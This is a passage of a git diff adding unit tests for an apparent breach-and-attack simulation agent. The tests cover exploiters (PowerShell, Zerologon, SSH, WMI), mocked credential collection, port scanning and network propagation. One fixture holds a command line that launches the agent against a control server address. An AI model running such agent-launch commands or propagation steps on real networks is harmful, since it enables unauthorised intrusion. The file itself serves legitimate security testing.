mock_powershell_client = MagicMock() + mock_powershell_client.execute_cmd_as_detached_process = MagicMock( + side_effect=Exception("EXECUTION FAILED") ) + monkeypatch.setattr( + powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client) + ) + + exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) + assert exploit_result.exploitation_success is True + assert exploit_result.propagation_success is False + assert "execute" in exploit_result.error_message + + +def test_successful_propagation(monkeypatch, powershell_exploiter, powershell_arguments): + mock_client = MagicMock() + monkeypatch.setattr(powershell, "PowerShellClient", mock_client) + + exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) + + assert exploit_result.exploitation_success + assert exploit_result.propagation_success + assert not exploit_result.error_message + + +def test_login_attempts_correctly_reported(monkeypatch, powershell_exploiter, powershell_arguments): + # First 5 login attempts fail. The 6th is successful. + connection_attempts = [Exception, Exception, Exception, Exception, Exception, True] + mock_powershell_client = MagicMock() + mock_powershell_client.connect = MagicMock(side_effect=connection_attempts) + monkeypatch.setattr( + powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client) + ) + + exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) + + successful_attempts = [attempt for attempt in exploit_result.attempts if attempt["result"]] + unsuccessful_attempts = [ + attempt for attempt in exploit_result.attempts if not attempt["result"] + ] + + assert len(exploit_result.attempts) == 6 + assert len(unsuccessful_attempts) == 5 + assert len(successful_attempts) == 1 + def test_build_monkey_execution_command(): host = VictimHost("127.0.0.1") @@ -191,3 +187,22 @@ def test_build_monkey_execution_command(): assert f"-d {depth}" in cmd assert executable_path in cmd + + +def test_skip_http_only_logins( + monkeypatch, powershell_exploiter, powershell_arguments, https_only_host +): + # Only HTTPS is enabled on the destination, so we should never try to connect with "" empty + # password, since connection with empty password requires SSL == False. + powershell_arguments["host"] = https_only_host + + mock_powershell_client = MagicMock() + mock_powershell_client.connect = MagicMock(side_effect=Exception("Failed login")) + mock_powershell_client_constructor = MagicMock(return_value=mock_powershell_client) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client_constructor) + + powershell_exploiter.exploit_host(**powershell_arguments) + + for call_args in mock_powershell_client_constructor.call_args_list: + assert call_args[0][1].secret != "" + assert call_args[0][2].ssl diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py index 95beb1778..4a6fbf53d 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py @@ -1,7 +1,5 @@ import pytest -from infection_monkey.model.host import VictimHost - DOMAIN_NAME = "domain-name" IP = "0.0.0.0" NETBIOS_NAME = "NetBIOS Name" @@ -19,8 +17,7 @@ def zerologon_exploiter_object(monkeypatch): def mock_report_login_attempt(**kwargs): return None - host = VictimHost(IP, DOMAIN_NAME) - obj = ZerologonExploiter(host) + obj = ZerologonExploiter() monkeypatch.setattr(obj, "dc_name", NETBIOS_NAME, raising=False) monkeypatch.setattr(obj, "report_login_attempt", mock_report_login_attempt) return obj diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py new file mode 100644 index 000000000..2c1441961 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py @@ -0,0 +1,40 @@ +from unittest.mock import Mock + +import pytest + +from infection_monkey.exploit.tools.helpers import RAND_SUFFIX_LEN, get_agent_dest_path + + +def _get_host_and_options(os, path): + host = Mock() + host.os = {"type": os} + options = {"dropper_target_path_win_64": path, "dropper_target_path_linux": path} + return host, options + + +@pytest.mark.parametrize("os", ["windows", "linux"]) +@pytest.mark.parametrize("path", ["C:\\monkey.exe", "/tmp/monkey-linux-64", "mon.key.exe"]) +def test_get_agent_dest_path(os, path): + host, options = _get_host_and_options(os, path) + rand_path = get_agent_dest_path(host, options) + + # Assert that filename got longer by RAND_SUFFIX_LEN and one dash + assert len(str(rand_path)) == (len(str(path)) + RAND_SUFFIX_LEN + 1) + + +def test_get_agent_dest_path_randomness(): + host, options = _get_host_and_options("windows", "monkey.exe") + + path1 = get_agent_dest_path(host, options) + path2 = get_agent_dest_path(host, options) + + assert path1 != path2 + + +def test_get_agent_dest_path_str_place(): + host, options = _get_host_and_options("windows", "C:\\abc\\monkey.exe") + + rand_path = get_agent_dest_path(host, options) + + assert str(rand_path).startswith("C:\\abc\\monkey-") + assert str(rand_path).endswith(".exe") diff --git a/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py new file mode 100644 index 000000000..295c68ceb --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py @@ -0,0 +1,235 @@ +import logging +import threading +from typing import Dict, Iterable, List, Sequence + +from infection_monkey.credential_collectors import LMHash, Password, SSHKeypair, Username +from infection_monkey.i_puppet import ( + Credentials, + ExploiterResultData, + FingerprintData, + IPuppet, + PingScanData, + PluginType, + PortScanData, + PortStatus, + PostBreachData, +) +from infection_monkey.model import VictimHost + +DOT_1 = "10.0.0.1" +DOT_2 = "10.0.0.2" +DOT_3 = "10.0.0.3" +DOT_4 = "10.0.0.4" + +logger = logging.getLogger() + + +class MockPuppet(IPuppet): + def load_plugin(self, plugin: object, plugin_type: PluginType) -> None: + logger.debug(f"load_plugin({plugin}, {plugin_type})") + + def run_credential_collector(self, name: str, options: Dict) -> Sequence[Credentials]: + logger.debug(f"run_credential_collector({name})") + + if name == "SSHCollector": + ssh_credentials = Credentials( + [Username("m0nk3y")], + [ + SSHKeypair("Public_Key_0", "Private_Key_0"), + SSHKeypair("Public_Key_1", "Private_Key_1"), + ], + ) + return [ssh_credentials] + elif name == "MimikatzCollector": + windows_credentials = Credentials( + [Username("test_user")], [Password("1234"), LMHash("DEADBEEF")] + ) + return [windows_credentials] + + return [] + + def run_pba(self, name: str, options: Dict) -> Iterable[PostBreachData]: + logger.debug(f"run_pba({name}, {options})") + + if name == "AccountDiscovery": + return [PostBreachData(name, "pba command 1", ["pba result 1", True])] + else: + return [PostBreachData(name, "pba command 2", ["pba result 2", False])] + + def ping(self, host: str, timeout: float = 1) -> PingScanData: + logger.debug(f"run_ping({host}, {timeout})") + if host == DOT_1: + return PingScanData(True, "windows") + + if host == DOT_2: + return PingScanData(False, None) + + if host == DOT_3: + return PingScanData(True, "linux") + + if host == DOT_4: + return PingScanData(False, None) + + return PingScanData(False, None) + + def scan_tcp_ports( + self, host: str, ports: List[int], timeout: float = 3 + ) -> Dict[int, PortScanData]: + logger.debug(f"run_scan_tcp_port({host}, {ports}, {timeout})") + dot_1_results = { + 22: PortScanData(22, PortStatus.CLOSED, None, None), + 445: PortScanData(445, PortStatus.OPEN, "SMB BANNER", "tcp-445"), + 3389: PortScanData(3389, PortStatus.OPEN, "", "tcp-3389"), + } + dot_3_results = { + 22: PortScanData(22, PortStatus.OPEN, "SSH BANNER", "tcp-22"), + 443: PortScanData(443, PortStatus.OPEN, "HTTPS BANNER", "tcp-443"), + 3389: PortScanData(3389, PortStatus.CLOSED, "", None), + } + + if host == DOT_1: + return {port: dot_1_results.get(port, _get_empty_results(port)) for port in ports} + + if host == DOT_3: + return {port: dot_3_results.get(port, _get_empty_results(port)) for port in ports} + + return {port: _get_empty_results(port) for port in ports} + + def fingerprint( + self, + name: str, + host: str, + ping_scan_data: PingScanData, + port_scan_data: Dict[int, PortScanData], + options: Dict, + ) -> FingerprintData: + logger.debug(f"fingerprint({name}, {host})") + empty_fingerprint_data = FingerprintData(None, None, {}) + + dot_1_results = { + "SMBFinger": FingerprintData( + "windows", "vista", {"tcp-445": {"name": "smb_service_name"}} + ) + } + + dot_3_results = { + "SSHFinger": FingerprintData( + "linux", "ubuntu", {"tcp-22": {"name": "SSH", "banner": "SSH BANNER"}} + ), + "HTTPFinger": FingerprintData( + None, + None, + { + "tcp-80": {"name": "http", "data": ("SERVER_HEADERS", False)}, + "tcp-443": {"name": "http", "data": ("SERVER_HEADERS_2", True)}, + }, + ), + } + + if host == DOT_1: + return dot_1_results.get(name, empty_fingerprint_data) + + if host == DOT_3: + return dot_3_results.get(name, empty_fingerprint_data) + + return empty_fingerprint_data + + def exploit_host( + self, + name: str, + host: VictimHost, + current_depth: int, + options: Dict, + interrupt: threading.Event, + ) -> ExploiterResultData: + logger.debug(f"exploit_hosts({name}, {host}, {options})") + attempts = [ + { + "result": False, + "user": "Administrator", + "password": "", + "lm_hash": "", + "ntlm_hash": "", + "ssh_key": host, + }, + { + "result": False, + "user": "root", + "password": "", + "lm_hash": "", + "ntlm_hash": "", + "ssh_key": host, + }, + ] + info_wmi = { + "display_name": "WMI", + "started": "2021-11-25T15:57:06.307696", + "finished": "2021-11-25T15:58:33.788238", + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [ + { + "cmd": "/tmp/monkey m0nk3y -s 10.10.10.10:5000 -d 1 >git s /dev/null 2>&1 &", + "powershell": True, + } + ], + } + info_ssh = { + "display_name": "SSH", + "started": "2021-11-25T15:57:06.307696", + "finished": "2021-11-25T15:58:33.788238", + "vulnerable_urls": [], + "vulnerable_ports": [22], + "executed_cmds": [], + } + os_windows = "windows" + os_linux = "linux" + + successful_exploiters = { + DOT_1: { + "ZerologonExploiter": ExploiterResultData( + False, False, False, os_windows, {}, [], "Zerologon failed" + ), + "SSHExploiter": ExploiterResultData( + False, False, False, os_linux, info_ssh, attempts, "Failed exploiting" + ), + "WmiExploiter": ExploiterResultData( + True, True, False, os_windows, info_wmi, attempts, None + ), + }, + DOT_3: { + "PowerShellExploiter": ExploiterResultData( + False, + False, + False, + os_windows, + info_wmi, + attempts, + "PowerShell Exploiter Failed", + ), + "SSHExploiter": ExploiterResultData( + False, False, False, os_linux, info_ssh, attempts, "Failed exploiting" + ), + "ZerologonExploiter": ExploiterResultData( + True, False, False, os_windows, {}, [], None + ), + }, + } + + try: + return successful_exploiters[host.ip_addr][name] + except KeyError: + return ExploiterResultData( + False, False, False, os_linux, {}, [], f"{name} failed for host {host}" + ) + + def run_payload(self, name: str, options: Dict, interrupt: threading.Event): + logger.debug(f"run_payload({name}, {options})") + + def cleanup(self) -> None: + print("Cleanup called!") + pass + + +def _get_empty_results(port: int): + return PortScanData(port, PortStatus.CLOSED, None, None) diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py new file mode 100644 index 000000000..cf0112d59 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py @@ -0,0 +1,79 @@ +import time +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.master import AutomatedMaster +from infection_monkey.master.automated_master import ( + CHECK_FOR_CONFIG_COUNT, + CHECK_FOR_STOP_AGENT_COUNT, +) +from infection_monkey.master.control_channel import IslandCommunicationError + +INTERVAL = 0.001 + + +def test_terminate_without_start(): + m = AutomatedMaster(None, None, None, None, MagicMock(), [], MagicMock()) + + # Test that call to terminate does not raise exception + m.terminate() + + +def test_stop_if_cant_get_config_from_island(monkeypatch): + cc = MagicMock() + cc.should_agent_stop = MagicMock(return_value=False) + cc.get_config = MagicMock( + side_effect=IslandCommunicationError("Failed to communicate with island") + ) + + monkeypatch.setattr( + "infection_monkey.master.automated_master.CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC", + INTERVAL, + ) + monkeypatch.setattr( + "infection_monkey.master.automated_master.CHECK_FOR_TERMINATE_INTERVAL_SEC", INTERVAL + ) + m = AutomatedMaster(None, None, None, None, cc, [], MagicMock()) + m.start() + + assert cc.get_config.call_count == CHECK_FOR_CONFIG_COUNT + + +@pytest.fixture +def sleep_and_return_config(automated_master_config): + # Ensure that should_agent_stop times out before get_config() returns to prevent the + # Propagator's sub-threads from hanging + get_config_sleep_time = INTERVAL * (CHECK_FOR_STOP_AGENT_COUNT + 1) + + def _inner(): + time.sleep(get_config_sleep_time) + return automated_master_config + + return _inner + + +# NOTE: This test is a little bit brittle, and probably needs too much knowlegde of the internals +# of AutomatedMaster. For now, it works and it runs quickly. In the future, if we find that +# this test isn't valuable or it starts causing issues, we can just remove it. +def test_stop_if_cant_get_stop_signal_from_island(monkeypatch, sleep_and_return_config): + cc = MagicMock() + cc.should_agent_stop = MagicMock( + side_effect=IslandCommunicationError("Failed to communicate with island") + ) + cc.get_config = MagicMock( + side_effect=sleep_and_return_config, + ) + + monkeypatch.setattr( + "infection_monkey.master.automated_master.CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC", + INTERVAL, + ) + monkeypatch.setattr( + "infection_monkey.master.automated_master.CHECK_FOR_TERMINATE_INTERVAL_SEC", INTERVAL + ) + + m = AutomatedMaster(None, None, None, None, cc, [], MagicMock()) + m.start() + + assert cc.should_agent_stop.call_count == CHECK_FOR_STOP_AGENT_COUNT diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py new file mode 100644 index 000000000..3c76c903f --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py @@ -0,0 +1,201 @@ +import logging +from queue import Queue +from threading import Barrier, Event +from typing import Iterable +from unittest.mock import MagicMock + +import pytest +from tests.unit_tests.infection_monkey.master.mock_puppet import MockPuppet + +from infection_monkey.master import Exploiter +from infection_monkey.model import VictimHost + +logger = logging.getLogger() + + +@pytest.fixture(autouse=True) +def patch_queue_timeout(monkeypatch): + monkeypatch.setattr("infection_monkey.master.exploiter.QUEUE_TIMEOUT", 0.001) + + +@pytest.fixture +def scan_completed(): + return Event() + + +@pytest.fixture +def stop(): + return Event() + + +@pytest.fixture +def callback(): + return MagicMock() + + +@pytest.fixture +def exploiter_config(): + return { + "options": {"dropper_path_linux": "/tmp/monkey"}, + "brute_force": [ + {"name": "HadoopExploiter", "supported_os": ["windows"], "options": {"timeout": 10}}, + {"name": "SSHExploiter", "supported_os": ["linux"], "options": {}}, + {"name": "WmiExploiter", "supported_os": ["windows"], "options": {"timeout": 10}}, + ], + "vulnerability": [ + {"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}}, + ], + } + + +@pytest.fixture +def hosts(): + host_1 = VictimHost("10.0.0.1") + host_2 = VictimHost("10.0.0.3") + return [host_1, host_2] + + +@pytest.fixture +def hosts_to_exploit(hosts): + return enqueue_hosts(hosts) + + +def enqueue_hosts(hosts: Iterable[VictimHost]): + q = Queue() + for h in hosts: + q.put(h) + + return q + + +def get_host_exploit_combos_from_call_args_list(call_args_list): + host_exploit_combos = set() + + for call_args in call_args_list: + victim_host = call_args[0][0] + exploiter_name = call_args[0][1] + host_exploit_combos.add((victim_host, exploiter_name)) + + return host_exploit_combos + + +CREDENTIALS_FOR_PROPAGATION = {"usernames": ["m0nk3y", "user"], "passwords": ["1234", "pword"]} + + +def get_credentials_for_propagation(): + return CREDENTIALS_FOR_PROPAGATION + + +@pytest.fixture +def run_exploiters(exploiter_config, hosts_to_exploit, callback, scan_completed, stop): + def inner(puppet, num_workers, hosts=hosts_to_exploit): + # Set this so that Exploiter() exits once it has processed all victims + scan_completed.set() + + e = Exploiter(puppet, num_workers, get_credentials_for_propagation) + e.exploit_hosts(exploiter_config, hosts, 1, callback, scan_completed, stop) + + return inner + + +def test_exploiter(callback, hosts, hosts_to_exploit, run_exploiters): + run_exploiters(MockPuppet(), 2) + + assert callback.call_count == 8 + host_exploit_combos = get_host_exploit_combos_from_call_args_list(callback.call_args_list) + + assert ("ZerologonExploiter", hosts[0]) in host_exploit_combos + assert ("HadoopExploiter", hosts[0]) in host_exploit_combos + assert ("SSHExploiter", hosts[0]) in host_exploit_combos + assert ("WmiExploiter", hosts[0]) in host_exploit_combos + assert ("ZerologonExploiter", hosts[1]) in host_exploit_combos + assert ("HadoopExploiter", hosts[1]) in host_exploit_combos + assert ("WmiExploiter", hosts[1]) in host_exploit_combos + assert ("SSHExploiter", hosts[1]) in host_exploit_combos + + +def test_credentials_passed_to_exploiter(run_exploiters): + mock_puppet = MagicMock() + run_exploiters(mock_puppet, 1) + + for call_args in mock_puppet.exploit_host.call_args_list: + assert call_args[0][3].get("credentials") == CREDENTIALS_FOR_PROPAGATION + + +def test_stop_after_callback(exploiter_config, callback, scan_completed, stop, hosts_to_exploit): + callback_barrier_count = 2 + + def _callback(*_): + # Block all threads here until 2 threads reach this barrier, then set stop + # and test that neither thread continues to scan. + _callback.barrier.wait() + stop.set() + + _callback.barrier = Barrier(callback_barrier_count) + + stoppable_callback = MagicMock(side_effect=_callback) + + # Intentionally NOT setting scan_completed.set(); _callback() will set stop + + e = Exploiter(MockPuppet(), callback_barrier_count + 2, get_credentials_for_propagation) + e.exploit_hosts(exploiter_config, hosts_to_exploit, 1, stoppable_callback, scan_completed, stop) + + assert stoppable_callback.call_count == 2 + + +def test_exploiter_raises_exception(callback, hosts, hosts_to_exploit, run_exploiters): + error_message = "Unexpected error" + mock_puppet = MockPuppet() + mock_puppet.exploit_host = MagicMock(side_effect=Exception(error_message)) + run_exploiters(mock_puppet, 3) + + assert callback.call_count == 8 + + for i in range(0, 6): + exploit_result_data = callback.call_args_list[i][0][2] + assert exploit_result_data.exploitation_success is False + assert exploit_result_data.propagation_success is False + assert error_message in exploit_result_data.error_message + + +def test_windows_exploiters_run_on_windows_host(callback, hosts, hosts_to_exploit, run_exploiters): + host = VictimHost("10.0.0.1") + host.os["type"] = "windows" + q = enqueue_hosts([host]) + run_exploiters(MockPuppet(), 1, q) + + assert callback.call_count == 3 + host_exploit_combos = get_host_exploit_combos_from_call_args_list(callback.call_args_list) + + assert ("SSHExploiter", host) not in host_exploit_combos + + +def test_linux_exploiters_run_on_linux_host(callback, hosts, hosts_to_exploit, run_exploiters): + host = VictimHost("10.0.0.1") + host.os["type"] = "linux" + q = enqueue_hosts([host]) + run_exploiters(MockPuppet(), 1, q) + + assert callback.call_count == 1 + host_exploit_combos = get_host_exploit_combos_from_call_args_list(callback.call_args_list) + + assert ("SSHExploiter", host) in host_exploit_combos + + +def test_all_exploiters_run_on_unknown_host(callback, hosts, hosts_to_exploit, run_exploiters): + host = VictimHost("10.0.0.1") + try: + del host.os["type"] + except KeyError: + pass + + q = enqueue_hosts([host]) + run_exploiters(MockPuppet(), 1, q) + + assert callback.call_count == 4 + host_exploit_combos = get_host_exploit_combos_from_call_args_list(callback.call_args_list) + + assert ("ZerologonExploiter", hosts[0]) in host_exploit_combos + assert ("HadoopExploiter", hosts[0]) in host_exploit_combos + assert ("SSHExploiter", host) in host_exploit_combos + assert ("WmiExploiter", hosts[0]) in host_exploit_combos diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py new file mode 100644 index 000000000..9fafdaee2 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py @@ -0,0 +1,281 @@ +from threading import Barrier, Event +from typing import Set +from unittest.mock import MagicMock + +import pytest +from tests.unit_tests.infection_monkey.master.mock_puppet import MockPuppet + +from infection_monkey.i_puppet import FingerprintData, PortScanData, PortStatus +from infection_monkey.master import IPScanner +from infection_monkey.network import NetworkAddress + +WINDOWS_OS = "windows" +LINUX_OS = "linux" + + +@pytest.fixture +def scan_config(): + return { + "tcp": { + "timeout_ms": 3000, + "ports": [ + 22, + 445, + 3389, + 443, + 8008, + 3306, + ], + }, + "icmp": { + "timeout_ms": 1000, + }, + "fingerprinters": [ + {"name": "HTTPFinger", "options": {}}, + {"name": "SMBFinger", "options": {}}, + {"name": "SSHFinger", "options": {}}, + ], + } + + +@pytest.fixture +def stop(): + return Event() + + +@pytest.fixture +def callback(): + return MagicMock() + + +def assert_port_status(port_scan_data, expected_open_ports: Set[int]): + for psd in port_scan_data.values(): + if psd.port in expected_open_ports: + assert psd.status == PortStatus.OPEN + else: + assert psd.status == PortStatus.CLOSED + + +def assert_scan_results(address, scan_results): + ping_scan_data = scan_results.ping_scan_data + port_scan_data = scan_results.port_scan_data + fingerprint_data = scan_results.fingerprint_data + + if address.ip == "10.0.0.1": + assert_scan_results_no_1(address.domain, ping_scan_data, port_scan_data, fingerprint_data) + elif address.ip == "10.0.0.3": + assert_scan_results_no_3(address.domain, ping_scan_data, port_scan_data, fingerprint_data) + else: + assert_scan_results_host_down(address, ping_scan_data, port_scan_data, fingerprint_data) + + +def assert_scan_results_no_1(domain, ping_scan_data, port_scan_data, fingerprint_data): + assert domain == "d1" + assert ping_scan_data.response_received is True + assert ping_scan_data.os == WINDOWS_OS + + assert len(port_scan_data.keys()) == 6 + + psd_445 = port_scan_data[445] + psd_3389 = port_scan_data[3389] + + assert psd_445.port == 445 + assert psd_445.banner == "SMB BANNER" + assert psd_445.service == "tcp-445" + + assert psd_3389.port == 3389 + assert psd_3389.banner == "" + assert psd_3389.service == "tcp-3389" + + assert_port_status(port_scan_data, {445, 3389}) + assert_fingerprint_results_no_1(fingerprint_data) + + +def assert_fingerprint_results_no_1(fingerprint_data): + assert len(fingerprint_data.keys()) == 3 + assert fingerprint_data["SSHFinger"].services == {} + assert fingerprint_data["HTTPFinger"].services == {} + + assert fingerprint_data["SMBFinger"].os_type == WINDOWS_OS + assert fingerprint_data["SMBFinger"].os_version == "vista" + + assert len(fingerprint_data["SMBFinger"].services.keys()) == 1 + assert fingerprint_data["SMBFinger"].services["tcp-445"]["name"] == "smb_service_name" + + +def assert_scan_results_no_3(domain, ping_scan_data, port_scan_data, fingerprint_data): + assert domain == "d3" + + assert ping_scan_data.response_received is True + assert ping_scan_data.os == LINUX_OS + assert len(port_scan_data.keys()) == 6 + + psd_443 = port_scan_data[443] + psd_22 = port_scan_data[22] + + assert psd_443.port == 443 + assert psd_443.banner == "HTTPS BANNER" + assert psd_443.service == "tcp-443" + + assert psd_22.port == 22 + assert psd_22.banner == "SSH BANNER" + assert psd_22.service == "tcp-22" + + assert_port_status(port_scan_data, {22, 443}) + assert_fingerprint_results_no_3(fingerprint_data) + + +def assert_fingerprint_results_no_3(fingerprint_data): + assert len(fingerprint_data.keys()) == 3 + assert fingerprint_data["SMBFinger"].services == {} + + assert fingerprint_data["SSHFinger"].os_type == LINUX_OS + assert fingerprint_data["SSHFinger"].os_version == "ubuntu" + + assert len(fingerprint_data["SSHFinger"].services.keys()) == 1 + assert fingerprint_data["SSHFinger"].services["tcp-22"]["name"] == "SSH" + assert fingerprint_data["SSHFinger"].services["tcp-22"]["banner"] == "SSH BANNER" + + assert len(fingerprint_data["HTTPFinger"].services.keys()) == 2 + assert fingerprint_data["HTTPFinger"].services["tcp-80"]["name"] == "http" + assert fingerprint_data["HTTPFinger"].services["tcp-80"]["data"] == ("SERVER_HEADERS", False) + assert fingerprint_data["HTTPFinger"].services["tcp-443"]["name"] == "http" + assert fingerprint_data["HTTPFinger"].services["tcp-443"]["data"] == ("SERVER_HEADERS_2", True) + + +def assert_scan_results_host_down(address, ping_scan_data, port_scan_data, fingerprint_data): + assert address.ip not in {"10.0.0.1", "10.0.0.3"} + assert address.domain is None + + assert ping_scan_data.response_received is False + assert len(port_scan_data.keys()) == 6 + assert_port_status(port_scan_data, set()) + + assert fingerprint_data == {} + + +def test_scan_single_ip(callback, scan_config, stop): + addresses = [NetworkAddress("10.0.0.1", "d1")] + + ns = IPScanner(MockPuppet(), num_workers=1) + ns.scan(addresses, scan_config, callback, stop) + + callback.assert_called_once() + + (address, scan_results) = callback.call_args_list[0][0] + assert_scan_results(address, scan_results) + + +def test_scan_multiple_ips(callback, scan_config, stop): + addresses = [ + NetworkAddress("10.0.0.1", "d1"), + NetworkAddress("10.0.0.2", None), + NetworkAddress("10.0.0.3", "d3"), + NetworkAddress("10.0.0.4", None), + ] + + ns = IPScanner(MockPuppet(), num_workers=4) + ns.scan(addresses, scan_config, callback, stop) + + assert callback.call_count == 4 + + (address, scan_results) = callback.call_args_list[0][0] + assert_scan_results(address, scan_results) + + (address, scan_results) = callback.call_args_list[1][0] + assert_scan_results(address, scan_results) + + (address, scan_results) = callback.call_args_list[2][0] + assert_scan_results(address, scan_results) + + (address, scan_results) = callback.call_args_list[3][0] + assert_scan_results(address, scan_results) + + +@pytest.mark.slow +def test_scan_lots_of_ips(callback, scan_config, stop): + addresses = [NetworkAddress(f"10.0.0.{i}", None) for i in range(0, 255)] + + ns = IPScanner(MockPuppet(), num_workers=4) + ns.scan(addresses, scan_config, callback, stop) + + assert callback.call_count == 255 + + +def test_stop_after_callback(scan_config, stop): + def _callback(*_): + # Block all threads here until 2 threads reach this barrier, then set stop + # and test that neither thread continues to scan. + _callback.barrier.wait() + stop.set() + + _callback.barrier = Barrier(2) + + stoppable_callback = MagicMock(side_effect=_callback) + + addresses = [ + NetworkAddress("10.0.0.1", None), + NetworkAddress("10.0.0.2", None), + NetworkAddress("10.0.0.3", None), + NetworkAddress("10.0.0.4", None), + ] + + ns = IPScanner(MockPuppet(), num_workers=2) + ns.scan(addresses, scan_config, stoppable_callback, stop) + + assert stoppable_callback.call_count == 2 + + +def test_interrupt_before_fingerprinting(callback, scan_config, stop): + def stoppable_scan_tcp_ports(port, *_): + # Block all threads here until 2 threads reach this barrier, then set stop + # and test that neither thread scans any more ports + stoppable_scan_tcp_ports.barrier.wait() + stop.set() + + return {port: PortScanData(port, False, None, None)} + + stoppable_scan_tcp_ports.barrier = Barrier(2) + + puppet = MockPuppet() + puppet.scan_tcp_ports = MagicMock(side_effect=stoppable_scan_tcp_ports) + puppet.fingerprint = MagicMock() + + addresses = [ + NetworkAddress("10.0.0.1", None), + NetworkAddress("10.0.0.2", None), + NetworkAddress("10.0.0.3", None), + NetworkAddress("10.0.0.4", None), + ] + + ns = IPScanner(puppet, num_workers=2) + ns.scan(addresses, scan_config, callback, stop) + + puppet.fingerprint.assert_not_called() + + +def test_interrupt_fingerprinting(callback, scan_config, stop): + def stoppable_fingerprint(*_): + # Block all threads here until 2 threads reach this barrier, then set stop + # and test that neither thread scans any more ports + stoppable_fingerprint.barrier.wait() + stop.set() + + return FingerprintData(None, None, {}) + + stoppable_fingerprint.barrier = Barrier(2) + + puppet = MockPuppet() + puppet.fingerprint = MagicMock(side_effect=stoppable_fingerprint) + + addresses = [ + NetworkAddress("10.0.0.1", None), + NetworkAddress("10.0.0.2", None), + NetworkAddress("10.0.0.3", None), + NetworkAddress("10.0.0.4", None), + ] + + ns = IPScanner(puppet, num_workers=2) + ns.scan(addresses, scan_config, callback, stop) + + assert puppet.fingerprint.call_count == 2 diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py new file mode 100644 index 000000000..3746e65eb --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py @@ -0,0 +1,324 @@ +from threading import Event +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.i_puppet import ( + ExploiterResultData, + FingerprintData, + PingScanData, + PortScanData, + PortStatus, +) +from infection_monkey.master import IPScanResults, Propagator +from infection_monkey.model import VictimHost, VictimHostFactory +from infection_monkey.network import NetworkAddress, NetworkInterface +from infection_monkey.telemetry.exploit_telem import ExploitTelem + + +@pytest.fixture +def mock_victim_host_factory(): + class MockVictimHostFactory(VictimHostFactory): + def __init__(self): + pass + + def build_victim_host(self, network_address: NetworkAddress) -> VictimHost: + domain = network_address.domain or "" + return VictimHost(network_address.ip, domain) + + return MockVictimHostFactory() + + +empty_fingerprint_data = FingerprintData(None, None, {}) + +dot_1_scan_results = IPScanResults( + PingScanData(True, "windows"), + { + 22: PortScanData(22, PortStatus.CLOSED, None, None), + 445: PortScanData(445, PortStatus.OPEN, "SMB BANNER", "tcp-445"), + 3389: PortScanData(3389, PortStatus.OPEN, "", "tcp-3389"), + }, + { + "SMBFinger": FingerprintData("windows", "vista", {"tcp-445": {"name": "smb_service_name"}}), + "SSHFinger": empty_fingerprint_data, + "HTTPFinger": empty_fingerprint_data, + }, +) + +dot_3_scan_results = IPScanResults( + PingScanData(True, "linux"), + { + 22: PortScanData(22, PortStatus.OPEN, "SSH BANNER", "tcp-22"), + 443: PortScanData(443, PortStatus.OPEN, "HTTPS BANNER", "tcp-443"), + 3389: PortScanData(3389, PortStatus.CLOSED, "", None), + }, + { + "SSHFinger": FingerprintData( + "linux", "ubuntu", {"tcp-22": {"name": "SSH", "banner": "SSH BANNER"}} + ), + "HTTPFinger": FingerprintData( + None, + None, + { + "tcp-80": {"name": "http", "data": ("SERVER_HEADERS", False)}, + "tcp-443": {"name": "http", "data": ("SERVER_HEADERS_2", True)}, + }, + ), + "SMBFinger": empty_fingerprint_data, + }, +) + +dead_host_scan_results = IPScanResults( + PingScanData(False, None), + { + 22: PortScanData(22, PortStatus.CLOSED, None, None), + 443: PortScanData(443, PortStatus.CLOSED, None, None), + 3389: PortScanData(3389, PortStatus.CLOSED, "", None), + }, + {}, +) + +dot_1_services = { + "tcp-445": { + "name": "smb_service_name", + "display_name": "unknown(TCP)", + "port": 445, + "banner": "SMB BANNER", + }, + "tcp-3389": {"display_name": "unknown(TCP)", "port": 3389, "banner": ""}, +} + +dot_3_services = { + "tcp-22": {"name": "SSH", "display_name": "unknown(TCP)", "port": 22, "banner": "SSH BANNER"}, + "tcp-80": {"name": "http", "data": ("SERVER_HEADERS", False)}, + "tcp-443": { + "name": "http", + "display_name": "unknown(TCP)", + "port": 443, + "banner": "HTTPS BANNER", + "data": ("SERVER_HEADERS_2", True), + }, +} + +os_windows = "windows" + +os_linux = "linux" + + +@pytest.fixture +def mock_ip_scanner(): + def scan(adresses_to_scan, _, results_callback, stop): + for address in adresses_to_scan: + if address.ip.endswith(".1"): + results_callback(address, dot_1_scan_results) + elif 